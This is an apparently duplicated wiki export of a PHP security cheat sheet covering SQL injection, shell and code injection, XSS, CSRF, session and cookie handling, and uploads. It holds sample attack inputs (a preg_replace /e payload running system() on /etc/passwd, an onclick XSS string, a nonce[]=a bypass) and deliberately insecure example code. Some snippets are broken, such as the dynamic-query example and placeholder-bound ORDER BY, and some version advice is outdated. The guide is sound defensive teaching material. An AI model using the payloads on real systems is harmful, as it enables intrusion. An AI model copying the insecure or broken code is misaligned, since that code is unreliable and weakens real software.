if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:18:59Z

Luke Plant: /* Access Control Cheat Sheet */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
